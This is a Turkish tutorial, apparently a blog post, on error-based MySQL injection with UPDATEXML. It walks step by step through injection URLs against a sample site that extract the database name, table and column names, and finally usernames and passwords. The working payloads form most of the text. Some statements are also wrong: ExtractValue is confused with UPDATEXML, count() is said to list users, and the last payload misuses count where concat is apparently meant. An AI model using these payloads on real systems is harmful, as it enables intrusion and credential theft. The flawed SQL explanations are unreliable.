TR | UpdateXML ile Error Based SQL Injection
Bugün farklı bir şekilde MySQL Injection yapma yöntemini göstermek istiyorum sizlere.
MySQL’de bulunan “ExtractValue” fonksiyonu, XML verilerini temsil eden bir dizine karşı Xpath sorguları çalıştırmaya yarar. Fonksiyon aşağıdaki gibi girdiler içerir/alır:
UPDATEXML(XMLType_Instance, XPath_string,value_expression, namespace_string)
Eğer yukarıdaki hata, söz dizimi olarak yanlış ise, bize aşağıdaki gibi bir başka hata mesajı verecektir:
XPATH syntax error: ‘burada xpath sorgusu yer alır
Diğer hata tabanlı ( error based )injectionlar gibi kullanacağız bunu da arkadaşlar ancak bazen Extractvalue filtrelenmiş olabilir yada serverde hiç bulunmayabilir o zaman ise konuda anlattığımız updateXML injection yöntemini uygulamamız gerekecek. Eğer, klasik union tabanlı sorguları kullanıp herhangi bir çıktı alamazsak Error tabanlı injection denememiz gerekecek.
Aşağıda kullandığımız sorgu örneğinde, çıkış yok:
www.canyoupwn.me.com/index.php?oynatugurcum=-1337" union select 1,2,3,4,5--
Yukarıdaki örnekte çift tırnağı(“) görüyoruz. Bunun anlamı, “string” tipi bir injection yaptığımızdır.
Şimdi kolayca sorgularımızı gönderebiliriz arkadaşlar.
Sorgu:
select path from pages where oynatugurcum="<girdimiz_buraya_gelecek>" limit 1,1;
Şimdi de, XPATH updateXML kullanarak sql inj işlemimize devam edelim. Yani yeni sorgumuz şu şekilde olacak:
www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(<b>sorgumuz_buraya_gelecek</b>)),null)--
Şimdi bu injection türünü kullanarak veritabanı adını çekelim.
Sorgu:
www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(0x0a,(select database()))),null)--
Çıktı:
XPATH syntax error: ‘:burada_database_ismi_olacak’
Evet, database ismini çektik. Şimdi diğer sorgularımıza devam edelim..
Şimdi bu database içindeki tabloları çekmeye çalışalım.
Sorgu:
www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)--
Çıktı:
XPATH syntax error: ‘:tablo_ismi_burada_olacak’
Yukarıda gördüğünüz gibi “limit”ide kullandık. Bunun sebebi de 32 karakterden yukarsını ekrana vurdurmuyor olması.
Şimdi, yukarıdaki sorguyu kullanıp tablolari ekrana vurdurduğumuzu varsayalım. Tablo isimleride aşagidaki gibi olsun:
-CYPMGonderiler
-CYPMBanner
-CYPMLinkler
-CYPMAsset
-CYPMUsers
-CYPMCaner
Şimdi de herhangi birinden kolonları çekmeyi deneyelim sorgumuzla. En mantıklı gelen şüphesiz ki orada CYPMUsers olacaktır. Onu deneyelim..
Sorgu:
www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=’CYPMUsers’ limit 0,1)),null)--
Çıktı:
XPATH syntax error: ‘:kolon_adlari_burada_olacak’
Aşağıdaki 3 kolonun yansıdığını varsayalım şimdi de:
-id
-username
-password
Şimdi bunlardan veri çekmeyi sağlayan sorgudan once arkadaslar, kolon sayılarını saymak icin kullandığımız sorguyu göstereceğim. Bunun sebebi de mesela istediğiniz sadece 1 üyenin parola vs bilgileri..
Sorgu:
www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select count(username) from CYPMUsers)),null)--
Yukarıdaki komutu verdiğiniz de tüm kullanıcıları listeleyecektir sitedeki.
Şimdi de, CYPMUsers daki verileri çekelim..
Sorgu:
www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select count(username,0x3a,password) from CYPMUsers limit 0,1)),null)--
Yukarıdaki sorguyu gönderdiğimizde, CYPMUsers’daki tüm kullanıcı ve parola bilgilerini çekmiş olacağız.